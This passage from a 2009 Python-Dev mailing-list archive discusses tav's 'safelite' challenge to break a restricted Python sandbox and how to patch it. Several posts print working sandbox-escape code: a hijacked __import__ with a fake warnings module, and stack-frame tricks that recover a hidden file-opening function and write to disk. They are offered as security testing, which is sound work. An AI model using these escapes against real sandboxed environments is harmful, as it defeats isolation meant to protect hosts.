He uses the ``compile`` builtin to get hold of the CodeType and then
uses that to construct a nifty function with custom bytecode. Turns
out that with the bytecode one can grab traceback objects off of the
stack!!

And, from there, it's just a mere attribute access away to get hold of
traceback.tb_frame!

Paul, wisely, outlines the two possible options to remedy this:

1. Remove ``compile`` from the safe builtins
2. Take out ``tb_frame``

If compile is not present and given that func_code and gi_code are not
present -- are there other ways of getting at the CodeType? If there
aren't then getting rid of compile gives us an easy win.

If getting rid of tb_frame is the approach -- then you were right
Guido -- there are more variables which need to be restricted! But,
this just makes the patch into 7 lines of code instead of 6, so I'm
still happy =)

The only thing I can't figure out is how to get rid of the attribute
using ctypes for the safelite challenge as calling
dictionary_of(TracebackType) in safelite.py presents a very minimal
{'__doc__': None}

Also, the comments in Lib/types.py states:

    # In the restricted environment, exc_info returns (None, None,
    # None) Then, tb.tb_frame gives an attribute error

I can't seem to find the place in the Python source where exc_info()
behaves differently under restricted mode...

Thoughts on which of the two options is better would be very appreciated!

And thanks for the ongoing hacks guys -- this is turning out great!!

-- 
love, tav

plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian

From tav at espians.com  Tue Feb 24 09:27:01 2009
From: tav at espians.com (tav)
Date: Tue, 24 Feb 2009 08:27:01 +0000
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <2d75d7660902232046j19858ebdv10bd72d616098bb2@mail.gmail.com>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
	<200902240131.55708.victor.stinner@haypocalc.com>
	<eb24b25b0902231642s4bb1db45xd4183fe8c0a5bc43@mail.gmail.com>
	<2d75d7660902232046j19858ebdv10bd72d616098bb2@mail.gmail.com>
Message-ID: <eb24b25b0902240027i5e0dbbf7qc2d9128bf9092e91@mail.gmail.com>

Daniel emailed in the exploit below and it is pretty devastating. It
takes advantage of the fact that the warnings framework in 2.6+
dynamically imports modules without being explicitly called!!

I've fixed this hole in safelite.py, but would be interested to know
if there are other non-user-initiated dynamically imported modules?

Thanks Daniel for bringing this to our attention!


On Tue, Feb 24, 2009 at 4:46 AM, Daniel (ajax) Diniz <ajaksu at gmail.com> wrote:
> Here's my attempt. Uses the builtin warnings module.You might need to
> change 'args[1]' to 'args[2]' depending on your environment.
>
> I really don't like to post these to public MLs, but feel free to do
> so if you think no harm may arise from this one ;)
>
> Daniel
> ----
>
> from safelite import FileReader
>
> # Let's build a fake module
> warnings = __builtins__.__class__('warnings')
>
> # Fill it with deception
> warnings.default_action = "ignore"
>
> # And provide a supporting thug
> def __import__(*args):
> ? ?try:
> ? ? ? ?print "How nice:\n", args[1].keys()
> ? ? ? ?global sys
> ? ? ? ?sys = args[1]['sys']
>
> ? ?except Exception, v:
> ? ? ? ?print "Exception:", v
> ? ?return warnings
>
> # Put the bogus module at the doorstep...
> __builtins__.warnings = warnings
>
> # and have the thug replacing the doorman
> __builtins__.__import__ = __import__
>
> # An unsuspecting costumer passes by...
> FileReader('safelite.py').seek(1.1)
>
> # ... and is brutally mugged :)
> print sys
> print dir(sys)
>



-- 
love, tav

plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian

From ncoghlan at gmail.com  Tue Feb 24 11:56:50 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Tue, 24 Feb 2009 20:56:50 +1000
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <eb24b25b0902232307s4528cf02r58b1190a8cbcad08@mail.gmail.com>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>	<200902240131.55708.victor.stinner@haypocalc.com>	<eb24b25b0902231642s4bb1db45xd4183fe8c0a5bc43@mail.gmail.com>	<200902240147.05139.victor.stinner@haypocalc.com>	<ca471dc20902231659u632071f6y5a19ba99dd672585@mail.gmail.com>
	<eb24b25b0902232307s4528cf02r58b1190a8cbcad08@mail.gmail.com>
Message-ID: <49A3D272.6030404@gmail.com>

tav wrote:
> 1. Remove ``compile`` from the safe builtins
> 2. Take out ``tb_frame``
> 
> Thoughts on which of the two options is better would be very appreciated!

Given the context manager hack I just sent you (similar in spirit to
Paul's, just using a context manager's __exit__() method to get hold of
the traceback instead of hacked bytecode), I think we can safely say
that tb_frame has to go.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From solipsis at pitrou.net  Tue Feb 24 12:11:13 2009
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Tue, 24 Feb 2009 11:11:13 +0000 (UTC)
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
	<200902240131.55708.victor.stinner@haypocalc.com>
	<eb24b25b0902231642s4bb1db45xd4183fe8c0a5bc43@mail.gmail.com>
	<2d75d7660902232046j19858ebdv10bd72d616098bb2@mail.gmail.com>
	<eb24b25b0902240027i5e0dbbf7qc2d9128bf9092e91@mail.gmail.com>
Message-ID: <loom.20090224T111005-364@post.gmane.org>

tav <tav <at> espians.com> writes:
> 
> I've fixed this hole in safelite.py, but would be interested to know
> if there are other non-user-initiated dynamically imported modules?

You'd better make __builtins__ read-only, it will plug a whole class of attacks
like this.



From dalke at dalkescientific.com  Tue Feb 24 12:46:56 2009
From: dalke at dalkescientific.com (Andrew Dalke)
Date: Tue, 24 Feb 2009 12:46:56 +0100
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <loom.20090224T111005-364@post.gmane.org>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
	<200902240131.55708.victor.stinner@haypocalc.com>
	<eb24b25b0902231642s4bb1db45xd4183fe8c0a5bc43@mail.gmail.com>
	<2d75d7660902232046j19858ebdv10bd72d616098bb2@mail.gmail.com>
	<eb24b25b0902240027i5e0dbbf7qc2d9128bf9092e91@mail.gmail.com>
	<loom.20090224T111005-364@post.gmane.org>
Message-ID: <d78db4cd0902240346x38766996n9ec8ad54d41627b9@mail.gmail.com>

Another hole. Not as devious as some, but easy to fix with yet another
type check. And probably you want to get rid of "get_frame" from
safelite.

This trick notices 'buffering' is passed to open, which does an int
coerce of non-int objects. I can look up the stack frames and get
"open_file", which I can then use for whatever I want.

In this case, I used the hole to reimplement 'open' in its entirety.

import safelite

class GetAccess(object):
    def __init__(self, filename, mode, buffering):
        self.filename = filename
        self.mode = mode
        self.buffering = buffering
        self.f = None

    def __int__(self):
        # Get access to the calling frame.
        # (Strange that that function is available.)
        frame = safelite.get_frame(1)

        # Look at that nice function right there.
        open_file = frame.f_locals["open_file"]

        # Get around restricted mode
        locals_d = {}
        exec """
def breakout(open_file, filename, mode, buffering):
    return open_file(filename, mode, buffering)
""" in frame.f_globals, locals_d
        del frame

        # Call the function
        self.f = locals_d["breakout"](open_file, self.filename,
self.mode, self.buffering)

        # Jump outta here
        raise TypeError

def open(filename, mode="r", buffering=0):
    get_access = GetAccess(filename, mode, buffering)
    try:
        safelite.FileReader("whatever", "r", get_access)
    except TypeError:
        return get_access.f

f = open("busted.txt", "w")
f.write("Broke out of jail!\n")
f.close()

print "Message is:", repr(open("busted.txt").read())


                                Andrew Dalke
                                dalke at dalkescientific.com

From dalke at dalkescientific.com  Tue Feb 24 12:51:29 2009
From: dalke at dalkescientific.com (Andrew Dalke)
Date: Tue, 24 Feb 2009 12:51:29 +0100
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <loom.20090224T111005-364@post.gmane.org>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
	<200902240131.55708.victor.stinner@haypocalc.com>
	<eb24b25b0902231642s4bb1db45xd4183fe8c0a5bc43@mail.gmail.com>
	<2d75d7660902232046j19858ebdv10bd72d616098bb2@mail.gmail.com>
	<eb24b25b0902240027i5e0dbbf7qc2d9128bf9092e91@mail.gmail.com>
	<loom.20090224T111005-364@post.gmane.org>
Message-ID: <d78db4cd0902240351o23824720t70ed639bcf25d3fd@mail.gmail.com>

Another hole. Not as devious as some, but easy to fix with yet another
type check.

This trick notices 'buffering' is passed to open, which does an int
coerce of non-int objects. I can look up the stack frames and get
"open_file", which I can then use for whatever I want.

In this case, I used the hole to reimplement 'open' in its entirety.

import safelite

class GetAccess(object):
    def __init__(self, filename, mode, buffering):
        self.filename = filename
        self.mode = mode
        self.buffering = buffering
        self.f = None

    def __int__(self):
        # Get access to the calling frame.
        # (Strange that that function is available, but I
        # could do it the old-fashioned way and raise/
        # catch and exception)
        frame = safelite.get_frame(1)

        # Look at that nice function right there.
        open_file = frame.f_locals["open_file"]

        # Get around restricted mode
        locals_d = {}
        exec """
def breakout(open_file, filename, mode, buffering):
    return open_file(filename, mode, buffering)
""" in frame.f_globals, locals_d
        del frame

        # Call the function
        self.f = locals_d["breakout"](open_file, self.filename,
self.mode, self.buffering)

        # Jump outta here
        raise TypeError

def open(filename, mode="r", buffering=0):
    get_access = GetAccess(filename, mode, buffering)
    try:
        safelite.FileReader("whatever", "r", get_access)
    except TypeError:
        return get_access.f

f = open("busted.txt", "w")
f.write("Broke out of jail!\n")
f.close()

print "Message is:", repr(open("busted.txt").read())


                                Andrew Dalke
                                dalke at dalkescientific.com

From victor.stinner at haypocalc.com  Tue Feb 24 13:50:40 2009
From: victor.stinner at haypocalc.com (Victor Stinner)
Date: Tue, 24 Feb 2009 13:50:40 +0100
Subject: [Python-Dev] Python jail: whitelist vs blacklist
Message-ID: <200902241350.40630.victor.stinner@haypocalc.com>

Hi,

Today it's clear that tav's jail is broken. Many hackers proved how to break 
it. Fixing each hole is maybe not the good solution.

IMHO the problem is that tav choosed the blacklist approach: hide some "evil" 
attributes/functions and hope that the other are safe... which is wrong (eg. 
evil compile(), reload(), isinstance(), str !!!, TypeError, ...).

A better approach would be to create a new world (namespace) from an empty 
namespace and then add our "secure" functions/types using strong validations 
(using a whitelist instead of a blacklist).

Examples:
 - why compile() was still available?
 - why __builtins__ is modifiable?
 - why __class__ is readable?

We should built an empty world and then add functions, types, attributes one 
by one until we can display an hello world ;-)

--

This approach was implemented in PyPy using two interpreters. 

In CPython, we may use proxies on anything to check all operations.
  jail   -- validations --> real world
  jail <-- proxy objects -- real world

tav's jail might be converted to the whitelist approach:
 - add proxy to __builtins__
 - add proxy to globals()
 - add proxy to dir()
 - ... well, add proxies to anything going to the jail ;-) and make sure that
   a proxy can not be modified by itself or read private attributes

My approach is maybe naive and imposible to implement :-)

-- 
Victor Stinner aka haypo
http://www.haypocalc.com/blog/

From ncoghlan at gmail.com  Tue Feb 24 14:25:09 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Tue, 24 Feb 2009 23:25:09 +1000
Subject: [Python-Dev] Python jail: whitelist vs blacklist
In-Reply-To: <200902241350.40630.victor.stinner@haypocalc.com>
References: <200902241350.40630.victor.stinner@haypocalc.com>
Message-ID: <49A3F535.7040806@gmail.com>

Victor Stinner wrote:
> My approach is maybe naive and imposible to implement :-)

It actually goes back to some of the stuff Brett Cannon was working on
in his object capabilities branch. However, one of the key building
blocks turned out to be an easier to tailor import system, so the
project was kind of taken over by Brett's work on importlib.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From tav at espians.com  Tue Feb 24 14:29:26 2009
From: tav at espians.com (tav)
Date: Tue, 24 Feb 2009 13:29:26 +0000
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <d78db4cd0902240351o23824720t70ed639bcf25d3fd@mail.gmail.com>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
	<200902240131.55708.victor.stinner@haypocalc.com>
	<eb24b25b0902231642s4bb1db45xd4183fe8c0a5bc43@mail.gmail.com>
	<2d75d7660902232046j19858ebdv10bd72d616098bb2@mail.gmail.com>
	<eb24b25b0902240027i5e0dbbf7qc2d9128bf9092e91@mail.gmail.com>
	<loom.20090224T111005-364@post.gmane.org>
	<d78db4cd0902240351o23824720t70ed639bcf25d3fd@mail.gmail.com>
Message-ID: <eb24b25b0902240529x7f119791jeeb8ca5bcfb6d9ce@mail.gmail.com>

  antoine> You'd better make __builtins__ read-only, it will
  antoine> plug a whole class of attacks like this.

I tried to put this off as long as I could to try and unearth
interesting attacks.

But unfortunately I couldn't figure out a way to fix the warnings
approach used by Daniel without doing this -- so from v7 __builtins__
isn't shared any more.

The good thing is that we won't have more of the __builtins__ class of
attacks -- the flip side is that we might be closing the door on
discovering some really interesting gems...

  andrew> I can look up the stack frames and get
  andrew> "open_file", which I can then use for whatever I want.

Ehm, thanks for taking the time to implement that Andrew.

But the challenge was about doing `from safelite import FileReader`.

I specifically stated that form over the openly exploitable `import
safelite`... so, sorry =(

You have to remember that this isn't the way that this code will
actually be used in practise. This is just a challenge to see if the
model holds...

-- 
love, tav

plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian

From cesare.dimauro at a-tono.com  Tue Feb 24 14:46:22 2009
From: cesare.dimauro at a-tono.com (Cesare Di Mauro)
Date: Tue, 24 Feb 2009 14:46:22 +0100
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <loom.20090224T111005-364@post.gmane.org>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
	<200902240131.55708.victor.stinner@haypocalc.com>
	<eb24b25b0902231642s4bb1db45xd4183fe8c0a5bc43@mail.gmail.com>
	<2d75d7660902232046j19858ebdv10bd72d616098bb2@mail.gmail.com>
	<eb24b25b0902240027i5e0dbbf7qc2d9128bf9092e91@mail.gmail.com>
	<loom.20090224T111005-364@post.gmane.org>
Message-ID: <op.upuy7ku903jqhe@cesareprova.org>

On Feb, 24 2009 at 12:11PM, Antoine Pitrou <solipsis at pitrou.net> wrote:

> tav <tav <at> espians.com> writes:
>>
>> I've fixed this hole in safelite.py, but would be interested to know
>> if there are other non-user-initiated dynamically imported modules?
>
> You'd better make __builtins__ read-only, it will plug a whole class of attacks
> like this.

I found very useful adding objects to the builtins namespace, but I'll prefer a
standard and controlled way to do so. Something like a built-in function
"install", like the following which I use:

import __builtin__, types

_ValidBuiltinTypes = (types.BuiltinFunctionType, types.ClassType,
  types.FunctionType, types.GeneratorType,
  types.TypeType, functools.partial)

def install(*Args, **Keys):
  '''Installs the given parameters in the builtins namespace.
  From Args will be installed only valid types (classes, functions and types),
  taking their __name__ attribute.
  Every keyword-value cuple from Keys will be installed as is.'''

  _NameSpace = __builtin__.__dict__

  for Arg in Args:
    if isinstance(Arg, _ValidBuiltinTypes):
      _NameSpace[Arg.__name__] = Arg

  for Key, Value in Keys.iteritems():
    _NameSpace[Key] = Value


With a built-in install function a granular control can be implemented by
the running Python implementation.

Also, having builtins read only by default can be used in future compiler
and virtual machine implementations to gain interesting optimizations.

Cheers,
Cesare

From tav at espians.com  Tue Feb 24 15:05:47 2009
From: tav at espians.com (tav)
Date: Tue, 24 Feb 2009 14:05:47 +0000
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <49A3D272.6030404@gmail.com>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
	<200902240131.55708.victor.stinner@haypocalc.com>
	<eb24b25b0902231642s4bb1db45xd4183fe8c0a5bc43@mail.gmail.com>
	<200902240147.05139.victor.stinner@haypocalc.com>
	<ca471dc20902231659u632071f6y5a19ba99dd672585@mail.gmail.com>
	<eb24b25b0902232307s4528cf02r58b1190a8cbcad08@mail.gmail.com>
	<49A3D272.6030404@gmail.com>
Message-ID: <eb24b25b0902240605pa06535byf8ee4f593e23a20f@mail.gmail.com>

Hey Nick,

> Given the context manager hack I just sent you (similar in spirit to
> Paul's, just using a context manager's __exit__() method to get hold of
> the traceback instead of hacked bytecode)

Thanks for this -- very cool!

> I think we can safely say that tb_frame has to go.

I've fixed this in v8 -- got a website that I can link to for the blog?

And instead of trying to make tb_frame go away, I'd like to add the
following to my proposed patch of RESTRICTED attributes:

* f_code
* f_builtins
* f_globals
* f_locals

That seems to do the trick...

-- 
love, tav

plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian

From tav at espians.com  Tue Feb 24 15:18:28 2009
From: tav at espians.com (tav)
Date: Tue, 24 Feb 2009 14:18:28 +0000
Subject: [Python-Dev] Python jail: whitelist vs blacklist
In-Reply-To: <200902241350.40630.victor.stinner@haypocalc.com>
References: <200902241350.40630.victor.stinner@haypocalc.com>
Message-ID: <eb24b25b0902240618l4dca9b4fu7c2dfc5f57b0c823@mail.gmail.com>

Hey Victor,

> Today it's clear that tav's jail is broken.

Forgive me as I'm sleep deprived, but no =)

> Many hackers proved how to break it.
> Fixing each hole is maybe not the good solution.

The aim of this challenge has been to:

1. Validate the functions-based approach
2. Verify if the proposed set of new attribute RESTRICTIONs are enough

As such, it has been important to ensure that we have as large an
attack surface as possible.

And given how trivial it has been to fix the bugs, the functions-based
approach seems to be holding up =)

And as for the attributes needing to be restricted, we've discovered
that we need to restrict the f_* attributes of frameobject along with
the initial type.__subclasses__, gi_code and gi_frame.

> A better approach would be to create a new world (namespace) from an empty
> namespace and then add our "secure" functions/types using strong validations
> (using a whitelist instead of a blacklist).

Sure -- you are absolutely right about using a whitelist approach.

safelite.py is just for the challenge... to demonstrate that the
functions-based approach could possibly lead to securing the Python
interpreter and to verify that we've restricted the necessary
attributes.

Once the patch gets accepted, we can start creating a fresh world
built up from an object capability base =)

> In CPython, we may use proxies on anything to check all operations.
> ?jail ? -- validations --> real world
> ?jail <-- proxy objects -- real world

Ehm, I'd strongly discourage any approaches using proxies. The
performance penalties will just be insane.

If you really want one though -- check out Zope proxy. It already
implements this quite well and you can use it today! =)

-- 
love, tav

plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian

From dalke at dalkescientific.com  Tue Feb 24 15:28:57 2009
From: dalke at dalkescientific.com (Andrew Dalke)
Date: Tue, 24 Feb 2009 15:28:57 +0100
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <eb24b25b0902240529x7f119791jeeb8ca5bcfb6d9ce@mail.gmail.com>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
	<200902240131.55708.victor.stinner@haypocalc.com>
	<eb24b25b0902231642s4bb1db45xd4183fe8c0a5bc43@mail.gmail.com>
	<2d75d7660902232046j19858ebdv10bd72d616098bb2@mail.gmail.com>
	<eb24b25b0902240027i5e0dbbf7qc2d9128bf9092e91@mail.gmail.com>
	<loom.20090224T111005-364@post.gmane.org>
	<d78db4cd0902240351o23824720t70ed639bcf25d3fd@mail.gmail.com>
	<eb24b25b0902240529x7f119791jeeb8ca5bcfb6d9ce@mail.gmail.com>
Message-ID: <d78db4cd0902240628o16f75e06mac893d08b8e5d124@mail.gmail.com>

tav <tav at espians.com>
> But the challenge was about doing `from safelite import FileReader`.

Though it doesn't say so on the first post on this thread nor your page at
  http://tav.espians.com/a-challenge-to-break-python-security.html

It says "Now find a way to write to the filesystem from your
interpreter". Which is what I did.  Who's to say your final
implementation will be more secure ;)

But I see your point. Perhaps update the description for those
misguided souls like me?

> This is just a challenge to see if the model holds

I haven't been watching this discussion closely and I can't find
mention of this - is the goal to support only 2.x or also support
Python 3? Your model seems to assume 2.x only, and there may be 3.x
attacks that aren't considered in the challenge.

For example, in Python 3 I would use the __traceback__ method of the
exception object to reach in and get the open function.  That seems
morally equivalent to what I did.

I hacked out the parts of safelite.py which wouldn't work in Python3.
Following is a variation on the theme.

import safelite

try:
    safelite.FileReader("/dev/null", "r", "x")
except TypeError as err:
    frame = err.__traceback__.tb_next.tb_frame
    frame.f_locals["open_file"]("test.txt", "w").write("done.")


> And instead of trying to make tb_frame go away, I'd like to add the
> following to my proposed patch of RESTRICTED attributes:
>
> * f_code
> * f_builtins
> * f_globals
> * f_locals

which of course would make the above no longer work.

Cheers,

                                Andrew
                                dalke at dalkescientific.com

From dalke at dalkescientific.com  Tue Feb 24 15:46:04 2009
From: dalke at dalkescientific.com (Andrew Dalke)
Date: Tue, 24 Feb 2009 15:46:04 +0100
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <eb24b25b0902240605pa06535byf8ee4f593e23a20f@mail.gmail.com>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
	<200902240131.55708.victor.stinner@haypocalc.com>
	<eb24b25b0902231642s4bb1db45xd4183fe8c0a5bc43@mail.gmail.com>
	<200902240147.05139.victor.stinner@haypocalc.com>
	<ca471dc20902231659u632071f6y5a19ba99dd672585@mail.gmail.com>
	<eb24b25b0902232307s4528cf02r58b1190a8cbcad08@mail.gmail.com>
	<49A3D272.6030404@gmail.com>
	<eb24b25b0902240605pa06535byf8ee4f593e23a20f@mail.gmail.com>
Message-ID: <d78db4cd0902240646m349e4b78r81c26857c2b6850a@mail.gmail.com>

On Tue, Feb 24, 2009 at 3:05 PM, tav <tav at espians.com> wrote:
> And instead of trying to make tb_frame go away, I'd like to add the
> following to my proposed patch of RESTRICTED attributes:
>
> * f_code
> * f_builtins
> * f_globals
> * f_locals
>
> That seems to do the trick...

A goal is to use this in App Engine, yes? Which uses cgitb to report
errors? Which needs these restricted frame attributes to report the
values of variables when the error occurred?

                Andrew Dalke
                dalke at dalkescientific.com

From victor.stinner at haypocalc.com  Tue Feb 24 15:52:31 2009
From: victor.stinner at haypocalc.com (Victor Stinner)
Date: Tue, 24 Feb 2009 15:52:31 +0100
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <d78db4cd0902240646m349e4b78r81c26857c2b6850a@mail.gmail.com>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
	<eb24b25b0902240605pa06535byf8ee4f593e23a20f@mail.gmail.com>
	<d78db4cd0902240646m349e4b78r81c26857c2b6850a@mail.gmail.com>
Message-ID: <200902241552.31205.victor.stinner@haypocalc.com>

Le Tuesday 24 February 2009 15:46:04 Andrew Dalke, vous avez ?crit?:
> > And instead of trying to make tb_frame go away, I'd like to add the
> > following to my proposed patch of RESTRICTED attributes:
> >
> > * f_code
> > * f_builtins
> > * f_globals
> > * f_locals
> >
> > That seems to do the trick...
>
> A goal is to use this in App Engine, yes? Which uses cgitb to report
> errors? Which needs these restricted frame attributes to report the
> values of variables when the error occurred?

We should be able to restore the original environment. Example:

   ...
   jail(evil_func)  # called in the jail
   # unsafe environment with __subclasses__, f_code, etc.
   ...

-- 
Victor Stinner aka haypo
http://www.haypocalc.com/blog/

From tav at espians.com  Tue Feb 24 16:23:47 2009
From: tav at espians.com (tav)
Date: Tue, 24 Feb 2009 15:23:47 +0000
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <d78db4cd0902240628o16f75e06mac893d08b8e5d124@mail.gmail.com>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
	<200902240131.55708.victor.stinner@haypocalc.com>
	<eb24b25b0902231642s4bb1db45xd4183fe8c0a5bc43@mail.gmail.com>
	<2d75d7660902232046j19858ebdv10bd72d616098bb2@mail.gmail.com>
	<eb24b25b0902240027i5e0dbbf7qc2d9128bf9092e91@mail.gmail.com>
	<loom.20090224T111005-364@post.gmane.org>
	<d78db4cd0902240351o23824720t70ed639bcf25d3fd@mail.gmail.com>
	<eb24b25b0902240529x7f119791jeeb8ca5bcfb6d9ce@mail.gmail.com>
	<d78db4cd0902240628o16f75e06mac893d08b8e5d124@mail.gmail.com>
Message-ID: <eb24b25b0902240723he3c9b3ax1baa9ad31db561fe@mail.gmail.com>

Hey Andrew & Victor,

  tav> But the challenge was about doing `from safelite import FileReader`.

  Andrew> Though it doesn't say so on the first post on this thread
  Andrew> nor your page at
  Andrew>?http://tav.espians.com/a-challenge-to-break-python-security.html

Sorry, perhaps I should have clearly instructed NOT to do `import safelite`.

I thought the following text would have been clear enough:

  Open a fresh Python interpreter and do:
  >>> from safelite import FileReader

But I can see how that might not have been enough. I'll amend the
second line to:

  >>> from safelite import FileReader # AND NOT ``import safelite``

Would that be clearer?

  Andrew> I haven't been watching this discussion closely
  Andrew> and I can't find mention of this

Sorry, the discussion has been meandering. It started on:

* http://code.google.com/p/googleappengine/issues/detail?id=671

Then went onto:

* http://codereview.appspot.com/21043/show

And finally ended up here on Python-Dev to get approval for the patch.
And in the process of getting the approval, the safelite challenge
started...

  Andrew> is the goal to support only 2.x or also support
  Andrew> Python 3? Your model seems to assume 2.x
  Andrew> only, and there may be 3.x attacks that aren't
  Andrew> considered in the challenge.

The model is suited for both 2.x and 3.x. The safelite test on the
other hand is targeted at 2.x (starting from 2.5).

You have a point with regards to there being 3.x attacks being out
there. Perhaps we can get a 3.x compatible version of safelite out?

  tav> And instead of trying to make tb_frame go away, I'd like
  tav> to add the following to my proposed patch of
  tav> RESTRICTED attributes [snip]

  Andrew> which of course would make the above no longer work.

The challenge helped identify those attributes. And will hopefully
identify any other "leak" attributes which may still be there.

  Andrew> A goal is to use this in App Engine, yes?

Yes.

  Andrew> Which uses cgitb to report errors? Which needs these
  Andrew> restricted frame attributes to report the values of
  Andrew> variables when the error occurred?

The frame attributes will still be accessible by cgitb. Python's
existing IsRestricted framework in the interpreter will take care of
that.

It's genius!!

  Victor> We should be able to restore the original environment.
  Victor> Example:

  Victor> jail(evil_func)  # called in the jail
  Victor> # unsafe environment with __subclasses__, f_code, etc.

Hmz, Python's IsRestricted already enables this.

I think it's time that I wrote some documentation that Martin wanted
explaining Python's already existing IsRestricted support.

Besides a few lines here and there, there seems to be no comprehensive
documentation on this that I can find anywhere. And I think this may
be the cause of much confusion?

Would that help?

-- 
love, tav

plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian

From pje at telecommunity.com  Tue Feb 24 16:26:13 2009
From: pje at telecommunity.com (P.J. Eby)
Date: Tue, 24 Feb 2009 10:26:13 -0500
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <200902241552.31205.victor.stinner@haypocalc.com>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
	<eb24b25b0902240605pa06535byf8ee4f593e23a20f@mail.gmail.com>
	<d78db4cd0902240646m349e4b78r81c26857c2b6850a@mail.gmail.com>
	<200902241552.31205.victor.stinner@haypocalc.com>
Message-ID: <20090224152403.5F0563A4075@sparrow.telecommunity.com>

At 03:52 PM 2/24/2009 +0100, Victor Stinner wrote:
>Le Tuesday 24 February 2009 15:46:04 Andrew Dalke, vous avez ?crit :
> > A goal is to use this in App Engine, yes? Which uses cgitb to report
> > errors? Which needs these restricted frame attributes to report the
> > values of variables when the error occurred?
>
>We should be able to restore the original environment. Example:
>
>    ...
>    jail(evil_func)  # called in the jail
>    # unsafe environment with __subclasses__, f_code, etc.
>    ...

Of course, you'll have to ensure that anything you do with data from 
the jail is also jailed...  that callbacks run in the jail, 
etc.  (This is one advantage of the RestrictedPython approach -- the 
jailing of the restricted code isn't dependent on some global state; 
it's wired right into the restricted code.)


From hall.jeff at gmail.com  Tue Feb 24 16:24:46 2009
From: hall.jeff at gmail.com (Jeff Hall)
Date: Tue, 24 Feb 2009 10:24:46 -0500
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <200902241552.31205.victor.stinner@haypocalc.com>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
	<eb24b25b0902240605pa06535byf8ee4f593e23a20f@mail.gmail.com>
	<d78db4cd0902240646m349e4b78r81c26857c2b6850a@mail.gmail.com>
	<200902241552.31205.victor.stinner@haypocalc.com>
Message-ID: <1bc395c10902240724y68a1fb5au57dac919b37b863f@mail.gmail.com>

I didn't see Tav actually say this but are we all agreed that compile()
should be removed from __builtins__?
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090224/2ec883a2/attachment.htm>

From lists at cheimes.de  Tue Feb 24 18:16:06 2009
From: lists at cheimes.de (Christian Heimes)
Date: Tue, 24 Feb 2009 18:16:06 +0100
Subject: [Python-Dev] Python jail: whitelist vs blacklist
In-Reply-To: <200902241350.40630.victor.stinner@haypocalc.com>
References: <200902241350.40630.victor.stinner@haypocalc.com>
Message-ID: <go1a0m$bbs$1@ger.gmane.org>

Victor Stinner wrote:
> This approach was implemented in PyPy using two interpreters. 
> 
> In CPython, we may use proxies on anything to check all operations.
>   jail   -- validations --> real world
>   jail <-- proxy objects -- real world
> 
> tav's jail might be converted to the whitelist approach:
>  - add proxy to __builtins__
>  - add proxy to globals()
>  - add proxy to dir()
>  - ... well, add proxies to anything going to the jail ;-) and make sure that
>    a proxy can not be modified by itself or read private attributes
> 
> My approach is maybe naive and imposible to implement :-)

Something similar to your approach is already implemented in Zope 3's
security system. Have a look at
http://svn.zope.org/zope.security/trunk/src/zope/security/

Christian


From guido at python.org  Tue Feb 24 20:23:03 2009
From: guido at python.org (Guido van Rossum)
Date: Tue, 24 Feb 2009 11:23:03 -0800
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <eb24b25b0902232307s4528cf02r58b1190a8cbcad08@mail.gmail.com>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
	<200902240131.55708.victor.stinner@haypocalc.com>
	<eb24b25b0902231642s4bb1db45xd4183fe8c0a5bc43@mail.gmail.com>
